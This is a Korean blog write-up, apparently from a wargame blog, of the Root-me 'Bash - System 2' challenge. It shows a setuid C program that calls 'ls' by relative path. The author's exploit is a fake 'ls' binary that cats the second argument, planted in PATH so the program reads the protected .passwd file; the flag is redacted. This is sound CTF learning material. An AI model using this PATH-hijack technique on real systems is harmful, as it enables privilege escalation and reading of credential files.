[App-Script] Bash - System 2

2022. 7. 15. 15:19·Wargame/Root me
728x90
반응형

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
 
int main(){
    setreuid(geteuid(), geteuid());
    system("ls -lA /challenge/app-script/ch12/.passwd");
    return 0;
}

이번에는 ls 명령어에 인자가 있다.

이전과 동일하게 ls 명령어 실행 시 임의 폴더의 cat을 실행하는 ls 파일을 만들어두되,
두번째 인자만 값으로 받아들여 읽어보자.

간단히 코딩.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]){

        char cmd[100];
        sprintf(cmd,"cat %s",argv[2]);
        printf("%s\n",cmd);
        system(cmd);
        return 0;

}

PATH 환경 변수에 이 프로그램의 경로를 등록하고 문제 파일 실행.

app-script-ch12@challenge02:/tmp/wv2$ ~/ch12 
cat /challenge/app-script/ch12/.passwd
----------#플래그는 삭제
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Root me' 카테고리의 다른 글

[Cracking] PE x86 - 0 protection  (0) 2022.07.15
[Cracking] ELF x86 - Basic  (0) 2022.07.15
[Cryptanalysis] Encoding - UU  (0) 2022.07.15
[Cryptanalysis] Encoding - ASCII  (0) 2022.07.15
[Cracking] ELF x86 - 0 protection  (0) 2022.07.15
'Wargame/Root me' 카테고리의 다른 글
  • [Cracking] PE x86 - 0 protection
  • [Cracking] ELF x86 - Basic
  • [Cryptanalysis] Encoding - UU
  • [Cryptanalysis] Encoding - ASCII
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (494) N
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (23) N
        • Theory (15)
        • Exercise (1) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    pwnable.kr
    cryptohack
    libc
    x86
    root-me
    32bit
    hackerschool
    lob
    ROOT ME
    exploit education
    x64
    heap
    docker
    Me
    pwntools
    phoenix
    CANARY
    tcache
    BOF
    vtable
    RTL
    rop
    la ctf
    64bit
    Buffer Overflow
    root
    Format String Bug
    FSB
    _IO_FILE
    dreamhack
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[App-Script] Bash - System 2
상단으로

티스토리툴바